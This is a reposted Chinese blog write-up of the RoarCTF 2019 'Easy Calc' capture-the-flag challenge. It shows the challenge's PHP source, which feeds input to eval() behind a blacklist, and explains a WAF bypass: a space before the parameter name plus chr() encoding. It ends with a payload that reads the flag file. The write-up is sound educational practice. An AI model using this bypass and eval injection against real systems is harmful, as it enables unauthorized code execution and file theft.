buu-[RoarCTF 2019]Easy Calc
buu-[RoarCTF 2019]Easy Calc
转载自 https://www.cnblogs.com/c0d1/p/14876384.html
点开题目,发现只是一个计算框
查看一下源代码
发现了一串代码
.ajax是指通过http请求加载远程数据
输入的算式会被传进calc.php文件中
且提示网页存在waf(就是防火墙)
访问cala.php试试
有一串php代码
1 <?php
2 error_reporting(0);
3 if(!isset($_GET['num'])){
4 show_source(__FILE__);
5 }else{
6 $str = $_GET['num'];
7 $blacklist = [' ', '\t', '\r', '\n','\'', '"', '`', '\[', '\]','\$','\\','\^'];
8 foreach ($blacklist as $blackitem) {
9 if (preg_match('/' . $blackitem . '/m', $str)) {
10 die("what are you want to do?");
11 }
12 }
13 eval('echo '.$str.';');
14 }
15 ?>
其中foreach 语法结构提供了遍历数组的简单方式。foreach 仅能够应用于数组和对象,如果尝试应用于其他数据类型的变量,或者未初始化的变量将发出错误信息。
有两种语法
foreach (iterable_expression as $value)
statement
foreach (iterable_expression as $key => $value)
statement
这里顺便记一下正则表达式匹配的几个参数
/i (忽略大小写)
/g (全文查找出现的所有匹配字符)
/m (多行查找)
/gi(全文查找、忽略大小写)
/ig(全文查找、忽略大小写)
给num传数字行
给num传字母则不行
应该是waf的原因
然后就不会了。。
查了一下,可以利用php的解析规则来绕过
就是当php进行解析的时候,如果变量前有空格,就会删去空格再进行解析
而前面的黑名单中就没有考虑到这个状况
我们就可以在num的前面加个空格来绕过
因为这是我们的变量名就是“ num”而不是“num”了
试试看能不能行
成功绕过了
接下来就是执行命令了
忘记前面过滤掉“/"了
可以使用chr(47)来绕过
chr()就是返回当前整数代表的ascii字符,而chr(47)就是/
成功了
发现了flagg文件夹,猜测flag就在这里
访问看看
这个可以用file_get_contents() 函数来读取
构造payload:? num=print_r(file_get_contents(chr(47).chr(102).chr(49).chr(97).chr(103).chr(103)));
成功得到flag
EOF

本文作者:c0d1
本文链接:https://www.cnblogs.com/c0d1/p/14876384.html
关于博主:评论和私信会在第一时间回复。或者直接私信我。
版权声明:本博客所有文章除特别声明外,均采用 BY-NC-SA 许可协议。转载请注明出处!
本文来自博客园,作者:sherlson,转载请注明原文链接:https://www.cnblogs.com/sherlson/articles/15598336.html









浙公网安备 33010602011771号